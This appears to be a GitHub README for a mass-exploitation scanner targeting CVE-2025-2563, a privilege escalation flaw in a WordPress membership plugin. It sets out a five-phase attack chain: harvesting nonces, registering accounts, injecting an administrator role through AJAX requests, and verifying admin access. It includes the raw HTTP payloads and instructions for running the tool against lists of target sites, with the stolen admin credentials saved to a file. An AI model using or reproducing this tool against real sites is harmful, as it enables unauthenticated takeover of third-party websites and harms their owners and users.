nxploited/cve-2025-2563The User Registration & Membership WordPress plugin before 4.1.2 does not prevent users to set their account role when the Membership Addon is enabled, leading to a privilege escalation issue and allowing unauthenticated users to gain admin privileges
The User Registration & Membership WordPress plugin before 4.1.2 does not prevent users to set their account role when the Membership Addon is enabled, leading to a privilege escalation issue and allowing unauthenticated users to gain admin privileges
| Field | Details |
|---|---|
| CVE ID | CVE-2025-2563 |
| Severity | HIGH — CVSS v3.1 Score: 8.1 |
| Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Affected Software | User Registration & Membership Plugin for WordPress |
| Affected Versions | All versions before 4.1.2 |
| Vulnerability Type | Improper Privilege Management — Unauthenticated Administrator Account Creation |
| Authentication Required | None |
| CWE | CWE-269: Improper Privilege Management |
Description:
The User Registration & Membership plugin for WordPress versions before 4.1.2 fails to enforce server-side role restrictions when the Membership Addon is enabled. During the membership registration process, the plugin accepts a user-supplied role field within the user_registration_membership_register_member AJAX action without validating it against a server-side allowlist. A completely unauthenticated remote attacker can submit a crafted two-step AJAX chain — first registering a new user account via user_registration_user_form_submit, then injecting "role": "administrator" into the members_data payload of the membership call — to silently create a fully privileged WordPress Administrator account. This results in complete site compromise with no authentication or user interaction required.
This is a Proof-of-Concept (PoC) mass exploitation scanner targeting WordPress installations running a vulnerable version of the User Registration & Membership plugin with the Membership Addon active. The tool performs intelligent multi-stage exploitation with automatic discovery, nonce harvesting, combo-based registration, role injection, and admin verification.
[Phase 1 — Discovery]
GET /membership-pricing/ → Extract membership_id, pricing links
GET /membership-registration/ → Extract form_id, nonces, security tokens
GET /registration/ → Fallback registration page
↓
[Phase 2 — Nonce Extraction]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registration (Combo Attack)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Try all valid combos until success=true
↓
[Phase 4 — Role Injection (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Server assigns administrator role to newly created user
↓
[Phase 5 — Admin Verification]
POST /wp-login.php → Login with new credentials
GET /wp-admin/ → Check adminmenu / wp-admin-bar
GET /wp-admin/users.php → Confirm manage_options access
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Save to Nx_admin.txt]
Format: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Or via requirements file:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
The tool uses a fully interactive terminal interface powered by Rich.
Create a plain text file (default: list.txt) — one target per line:
https://target1.com
https://target2.com
http://target3.com
target4.com
Targets without
http://orhttps://are automatically prefixed withhttps://.
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
Password is fixed internally as
Nx_adminSAfor all registration attempts.
The tool probes three pages automatically per target:
| Page | Purpose |
|---|---|
/membership-pricing/ | Extract membership_id and registration links |
/membership-registration/ | Extract form tokens, nonces, and field IDs |
/membership-registration/?membership_id=<id> | Plan-specific form extraction |
/registration/ | Fallback generic registration page |
The following tokens are extracted from raw HTML and inline JavaScript:
| Token | Source |
|---|---|
_nonce | ur_membership_frontend_localized_data JS object |
ur_frontend_form_nonce | Hidden input field or JS object |
security | user_registration_params.user_registration_form_data_save |
form_id | Hidden input ur-user-form-id or JS object |
membership_id | Radio input urm_membership or URL query string |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
The tool automatically iterates over all discovered combinations of security, frontend_nonce, form_id, and membership_id until a success: true response is received.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest